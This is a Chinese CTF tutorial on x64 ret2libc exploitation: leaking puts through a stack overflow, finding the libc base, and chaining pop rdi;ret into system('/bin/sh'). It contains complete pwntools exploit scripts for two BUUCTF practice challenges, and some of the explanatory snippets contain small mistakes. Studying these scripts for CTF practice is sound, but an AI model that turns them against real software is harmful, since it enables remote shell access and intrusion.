ret2libc
本文是以
- x64的cdecl函数调用约定(x64最常见的函数调用约定)为基础来撰写的
- 泄露puts函数地址为例,此外也可以泄露任何已使用过的函数(got表有数据)的地址来计算
注:x32的调用规则与本文不太一致(system_address + exit_address + binsh_address + b'0'*8)
基本原理
return to libc
通过栈溢出覆盖 eip使得程序 return to libc
- libc是动态链接共享库,里面有很多函数和字符串段
- 比如 system() puts() gets()
- 比如 '/bin/sh'
于是乎我只要构造溢出的数据,就能使得程序自动执行
system('/bin/sh')
也就是getshell了
libc address
但是其中有一个很关键的问题,libc动态库的函数或者字符串有以下几个特性
- 在程序每次运行的时候,libc库的基地址都是不一样的
- 但是无论如何,libc之间函数或者字符串的相对地址不变(确定libc版本的情况下)
因此我们得先获得libc的基址才能实现我们的目的return to libc,而这一点,我们是通过
- 先构造函数调用puts(elf.got['puts'])获得泄露的puts函数真实地址
- 然后通过LibSearcher('puts', puts_real_address)(确定libc版本确定相对地址)计算偏移值
- 从而得到我们想要的目标system('/bin/sh')调用所需要用到的参数
基本流程
所需的环境
注意,其中的rdi;ret部分内容根据你的需求不同。
传入的参数不止一个比如,你得去找相对应的rdi,rsi,rdx,rcx,r8,r9对应的ret。
from pwn import *
from LibcSearcher import *
p = remote('node3.buuoj.cn', 27417)
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('ciscn_2019_c_1')
# rdi;ret: p64(0x400c83)
# ret: p64(0x4006b9)
构造地址泄露
对于x64 liunx,通过栈溢出实现,调用puts实现泄露puts函数地址
- call-》plt-》got-》实际在内存中的地址
- plt表和got表是固定的,在plt文件内可以找到,内存地址不固定
- plt表:调用需要使用plt表的值
- got表:用于获取函数实际在内存中的地址
# 用来读取plt和got表 elf = ELF('test_c_1') # ×64程序基本都存在的一个地址[pop rdi;ret] pop_rdi_ret = p64(0x400c83) # 执行结束后返回到main函数地址(以防止栈结构被破坏) payload = offset # 即使用puts_plt表嗲用puts(*puts_got)==puts(puts_real_address) payload += pop_rdi_ret + p64(elf.got['puts']) + p64(elf.plt['puts']) # 执行完后返回main payload += p64(p64.symbols('main'))
获取libc信息
对泄露的puts函数实际地址进行格式化,以此为参数得到libc库的信息
# 使用pwntools读取得到返回的地址
raw_rev = ...
puts_real_addr = u64(raw_rev.ljust(8, b'\x00'))
# 使用LibSearcher进行搜索得到libc的库信息
# 比如版本号,类型等
libc = LibSearcher('puts', puts_real_addr)
计算sh地址
"/bin/sh",system地址
计算libc的基址从而计算出注入"/bin/sh",system函数的地址,从而实现调用system函数
# puts_addr是实际运行中libc中puts的地址,与libc.dump对应的地址比较计算得到基址 libc_base = puts_addr - libc.dump('gets') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh')
调用shell
对于x64 liunx,调用system的标准压栈顺序:
# ×64程序基本都存在的一个地址[pop rdi;ret] pop_rdi_ret = p64(0x400c83) # bin_sh_address system_address需要计算得到 # unbuntu 64x 调用system的时候要加ret进行对齐,其他的情况下不需要 ret = p64(0x4006b9) payload = offset + ret # 其中的pop_rdi_ret + p64(bin_sh_address)其实就是64x调用规范中的代表传入第一个参数 # 在64位中,有rdi,rsi,rdx,rcx,r8,r9几个寄存器保存参数。 payload += pop_rdi_ret + p64(bin_sh_address) + p64(system_address)
ciscn_2019_c_1
buu-pwn-ciscn_2019_c_1:https://blog.csdn.net/qq_41560595/article/details/108940662
注册机如下
'''
基本环境
'''
from pwn import *
from LibcSearcher import *
p = remote('node3.buuoj.cn', 27417)
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('ciscn_2019_c_1')
# rdi;ret: p64(0x400c83)
# ret: p64(0x4006b9)
'''
构造puts(*puts_got)
'''
# puts泄露libc-puts地址
offset = b'\0' + b'a'*(0x50 - 1 + 8)
payload = offset + p64(0x400c83)
payload += p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
p.sendlineafter(b'Input your choice!\n', b'1')
p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
'''
获得libc库信息
'''
p.recvuntil(b'Ciphertext\n')
p.recvline()
raw = p.recvline()
add = u64(raw[:-1].ljust(8, b'\x00'))
print(raw, add)
libc = LibcSearcher('puts', add)
# exit(0)
'''
计算sh真实地址
'''
libc_base = add - libc.dump('puts')
binsh_add = libc_base + libc.dump('str_bin_sh')
system_add= libc_base + libc.dump('system')
payload = offset + p64(0x4006b9)
payload+= p64(0x400c83) + p64(binsh_add) + p64(system_add)
'''
调用system('/bin/sh')
'''
p.sendlineafter(b'Input your choice!\n', b'1')
p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
'''
cat flag!
'''
sleep(0.3)
p.sendline(b'cat flag')
p.interactive()
ciscn_2019_en_2
# rdi;ret: p64(0x400c83) # ret: p64(0x4006b9)
这题和上一题差不多,两题写的时间间隔比较长,这一题是后来写的
from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
r = remote('node3.buuoj.cn', 29206)
elf = ELF('ciscn_2019_en_2')
# 溢出值 s 0x30但是之前还有一个变量应该是临时变量,总空间占据0x50
offset = b'\0' + b'a'*(0x50-1+8)
'''
step1 turn 1
get puts_real_add
'''
payload = '1'
r.sendlineafter('Input your choice!\n', payload)
# rdi;ret: p64(0x400c83)
# ret: p64(0x4006b9)
payload = offset + p64(0x400c83) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
r.sendlineafter('Input your Plaintext to be encrypted', payload)
'''
step2 turn 1
caculate the needed address
'''
r.recvuntil(b'Ciphertext\n\n')
raw = r.recv(6)
# u64即可字符串地址转真地址(数字类型),大小端转换
add = u64(raw.ljust(8, b'\x00'))
print(raw, hex(add))
libc = LibcSearcher('puts', add)
libc_base = add - libc.dump('puts')
system_add = libc_base + libc.dump('system')
binsh_add = libc_base + libc.dump('str_bin_sh')
'''
step3 turn 2
jump to system('/bin/sh')
'''
payload = '1'
r.sendlineafter('Input your choice!\n', payload)
# rdi;ret: p64(0x400c83)
# ret: p64(0x4006b9)
payload = offset + p64(0x4006b9) + p64(0x400c83) + p64(binsh_add) + p64(system_add)
r.sendlineafter('Input your Plaintext to be encrypted', payload)
sleep(0.3)
r.sendline('cat flag')
r.interactive()